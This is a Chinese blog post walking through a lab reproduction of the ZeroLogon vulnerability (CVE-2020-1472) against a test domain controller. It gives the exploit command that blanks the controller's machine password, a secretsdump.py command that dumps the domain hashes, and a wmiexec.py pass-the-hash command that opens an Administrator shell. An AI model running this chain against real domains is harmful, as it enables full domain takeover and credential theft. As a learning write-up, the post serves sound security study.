[横向移动] ZeroLogin 复现

[横向移动] ZeroLogin 复现

加了*号的,表示在下面会有基础知识补充,希望大家都能看的懂
运行环境:
域:Ky1226.com
windowsServer2016	192.168.137.141 DC
windows10	192.168.137.138
kali	192.168.137.140		这里为什么非要kali 因为比较帅
  • 准备

    • 影响版本

      Windows Server 2008 R2 for x64-based Systems Service Pack 1
      Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
      Windows Server 2012
      Windows Server 2012 (Server Core installation)
      Windows Server 2012 R2
      Windows Server 2012 R2 (Server Core installation)
      Windows Server 2016
      Windows Server 2016 (Server Core installation)
      Windows Server 2019
      Windows Server 2019 (Server Core installation)
      Windows Server, version 1903 (Server Core installation)
      Windows Server, version 1909 (Server Core installation)
      Windows Server, version 2004 (Server Core installation)
      
    • 工具下载地址

      Impacket:https://github.com/SecureAuthCorp/impacket
      CVE-2020-1472:https://github.com/dirkjanm/CVE-2020-1472
      
  • 漏洞复现

    • 置空密码

      python cve-2020-1472-exploit.py DC计算机名* DCIP
      
      • 获得dc的计算机名,方法有很多。同网段获得主机名脚本,nmap,命令行

        使用net time /domain,发现不行,使用管理员运行,也不行

        [横向移动] ZeroLogin 复现

      • 提升到Administrator账户,可以执行* 获得主机名WIN-661L7H5V2GV

        [横向移动] ZeroLogin 复现

      • 获得IP

        [横向移动] ZeroLogin 复现

      • 运行脚本

        python cve-2020-1472-exploit.py WIN-661L7H5V2GV 192.168.137.141
        
      • ?

        [横向移动] ZeroLogin 复现

      • 见笑了见笑了..

        [横向移动] ZeroLogin 复现

      • 再来 这次很快啊

        [横向移动] ZeroLogin 复现

    • 获取HASH

      python secretsdump.py Ky1226.com/WIN-661L7H5V2GV$@192.168.137.141 -just-dc -no-pass
      
      • 唔...

        [横向移动] ZeroLogin 复现

      • 改成 反斜杠 试试

        python secretsdump.py Ky1226.com\WIN-661L7H5V2GV$@192.168.137.141 -just-dc -no-pass
        

        [横向移动] ZeroLogin 复现

      • 还是不对 艹 各位应该能感受到小白复现的痛苦了

      • 找到用linux命令的表哥,看到终于可以了 发现自己impacket 不太熟练啊

        python3 secretsdump.py WIN-661L7H5V2GV\$@192.168.137.141 -just-dc -no-pass
        

        [横向移动] ZeroLogin 复现

    • 获取SHELL

      ython3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:00dfb3b7524d1b1612d92cac38391f67 Administrator@192.168.137.141
      

      [横向移动] ZeroLogin 复现

      • 连上了
  • 补充

    1. 计算机名 计算机全名 NETBIOS名 用户名

      是什么
      计算机名是对域(或工作组)中的计算机的标识
      主机名指得是网络上设备的名称,主机名就是计算机名
      用户账户名是计算机用户在登录系统时,设置的用户名
      查看:
      whoami : 计算机名/用户名
      计算机全名是:计算机名.test.com (test.com是域)
      NetBios名:nbtstat -n 可以查看到
      
    2. 当前权限

      • 本地普通用户:当前为win-2008本机用户user

        whoami
        win-2008\user
        
      • 本地Administrator:当前为win-2008 Administrator用户

        whoami
        win-2008\Administrator
        
      • 域用户:当前为域Ky1226 Administrator用户

        whoami
        Ky1226\Administrator
        
      • 本机用户只能查询本机信息,无法查询域信息

      • 本机管理员用户和域用户可以查询域信息

  • 参考

    https://www.bilibili.com/video/BV1JK4y1h7cc
    https://blog.csdn.net/bigblue00/article/details/108646594
    
上一篇:idea中安装vue报错Plugin ‘Vue.js‘ is incompatible with this installation


下一篇:C#-.NET软件更新管理器